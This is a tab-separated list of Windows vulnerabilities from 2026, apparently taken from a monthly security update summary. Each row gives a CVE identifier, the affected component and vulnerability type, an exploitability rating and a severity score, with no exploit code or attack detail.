CVE-2026-69819	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69568	Storage Spaces Controller Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69431	Telnet Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69384	Virtual Hard Disk (VHD) Miniport Driver Denial of Service Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69541	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation More Likely	No	7.8
CVE-2026-69549	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-69611	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.0
CVE-2026-69681	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Unlikely	No	8.0
CVE-2026-70574	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Exploitation Less Likely	No	7.8
CVE-2026-81355	Virtual Hard Disk (VHD) Miniport Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69407	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69418	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69432	Volume Manager Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72985	Volume Shadow Copy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69609	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69808	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69832	Win32k Information Disclosure Vulnerability	Exploitation More Likely	No	5.6
CVE-2026-69853	Win32k Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-70290	Win32k Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69654	Windows Accounts Control Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69816	Windows Accounts Control Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-62762	Windows Active Directory Domain Services Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-62813	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69524	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69546	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-85880	Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-70565	Windows AF_UNIX Socket Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69834	Windows ALPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69874	Windows ALPC Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-50349	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70342	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.1
CVE-2026-69311	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69394	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69540	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69604	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69692	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69801	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70562	Windows Audio Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-73005	Windows Authentication Methods Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-73004	Windows Autopilot Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69293	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69298	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69323	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

CVE-2026-69352	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69476	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69489	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69580	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69583	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69589	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69593	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69727	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69738	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69773	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69787	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69826	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-70572	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70573	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70581	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72941	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72988	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72990	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72991	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72992	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72993	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72994	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72995	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72996	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72997	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73000	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73001	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73002	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73007	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73011	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73015	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73020	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73021	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-73026	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-77489	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78447	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-78448	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83954	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83955	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83967	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83968	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83969	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83970	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83971	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83972	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83973	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83974	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83975	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83976	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83977	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83978	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83979	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83980	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83981	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83982	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83983	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83985	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83986	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83987	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83988	Windows Biometric Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-73008	Windows Biometric Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69458	Windows BitLocker Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69449	Windows BitLocker Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-69817	Windows Bluetooth Port Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68849	Windows Bluetooth Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.7
CVE-2026-69388	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69398	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69448	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69889	Windows Bluetooth Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-77892	Windows Boot Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69735	Windows Broadcast DVR User Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69391	Windows Broker Infrastructure Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8

CVE-2026-69283	Windows CD-ROM Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69561	Windows CD-ROM Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78454	Windows CD-ROM Driver Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-78508	Windows CD-ROM Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-69279	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-80093	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-83991	Windows Cloud Files Mini Filter Driver Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69445	Windows Compressed Folder Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69496	Windows Compressed Folder Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69267	Windows Connected User Experiences and Telemetry Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-70583	Windows Core Messaging Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70584	Windows Core Messaging Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70578	Windows Credential Guard Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69790	Windows Credential Providers Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69284	Windows DCOM Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-70568	Windows Defender Firewall Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68831	Windows Defender Firewall Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69607	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72943	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72954	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72957	Windows Deployment Services Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69314	Windows Device Association Broker Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69693	Windows Device Association Broker Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69296	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69478	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69488	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69574	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69581	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69711	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69714	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69791	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69866	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-77500	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-83940	Windows Device Association Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69472	Windows Devices Human Interface Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69342	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69405	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69416	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69497	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69637	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69679	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-70065	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77494	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77498	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77499	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77501	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77502	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77886	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77888	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77889	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77890	Windows DHCP Server Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-77893	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-77895	Windows DHCP Server Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69415	Windows DHCP Server Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-69297	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69803	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69929	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69930	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-70124	Windows DHCP Server Information Disclosure Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69266	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69412	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69510	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69547	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69620	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69845	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69847	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69876	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69878	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-72979	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-77887	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-77891	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-69715	Windows Direct Show Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8

CVE-2026-78446	Windows Distributed File System (DFS) Denial of Service Vulnerability	Exploitation Unlikely	No	5.3
CVE-2026-69424	Windows Distributed File System (DFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69631	Windows DNS Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-70091	Windows DNS Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69310	Windows DNS Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-72948	Windows DNS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69369	Windows DNS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69672	Windows DNS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72987	Windows DNS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-78523	Windows DNS Server Denial of Service Vulnerability	Exploitation Unlikely	No	5.9
CVE-2026-69551	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69730	Windows DNS Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69782	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69813	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69827	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69989	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-77505	Windows DNS Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69680	Windows DNS Spoofing Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69430	Windows Embedded Mode Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69688	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69841	Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69794	Windows Encrypting File System (EFS) Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69481	Windows Enterprise App Management Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69907	Windows Enterprise App Management Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68894	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69362	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69433	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69436	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69450	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69462	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69513	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69612	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-83996	Windows Error Reporting Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69684	Windows Error Reporting Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69482	Windows Error Reporting Tampering Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69493	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69494	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69495	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69619	Windows exFAT File System Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-71338	Windows Failover Cluster Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-68878	Windows Fast FAT Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69347	Windows Fast FAT Driver Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.4
CVE-2026-68837	Windows File History Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71340	Windows File History Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-72947	Windows File History Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.4
CVE-2026-77491	Windows GDI Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68827	Windows GDI+ Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69288	Windows GDI+ Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-77493	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-81955	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69717	Windows Group Policy Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69710	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69725	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69784	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69799	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69820	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-69864	Windows Hello Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-81354	Windows Hello Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-72980	Windows Hello Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.4
CVE-2026-69682	Windows Host Guardian Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69623	Windows HTTP Print Provider Remote Code Execution Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69769	Windows HTTP Print Provider Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69553	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-72961	Windows Hyper-V Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-69603	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69910	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69341	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69500	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69613	Windows Image Acquisition Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69483	Windows Image Acquisition Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69318	Windows Imaging Component Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69499	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69860	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-70296	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-73013	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73023	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77495	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-83992	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-62694	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69441	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71339	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-77894	Windows Installer Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72926	Windows Internet Connection Sharing (ICS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72964	Windows Internet Connection Sharing (ICS) Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69881	Windows Internet Key Exchange (IKE) Extension Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69429	Windows Internet Key Exchange (IKE) Protocol Extensions Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69694	Windows IP Address Management (IPAM) Service Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68898	Windows iSCSI Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69598	Windows iSCSI Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69628	Windows iSCSI Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73025	Windows iSCSI Security Feature Bypass Vulnerability	Exploitation Unlikely	No	9.8

CVE-2026-69839	Windows iSCSI Target Service Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69760	Windows Kerberos Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69685	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69822	Windows Kerberos Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69676	Windows Kerberos Remote Code Execution Vulnerability	Exploitation More Likely	No	8.8
CVE-2026-68846	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-68884	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69366	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69466	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69473	Windows Kernel Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69578	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
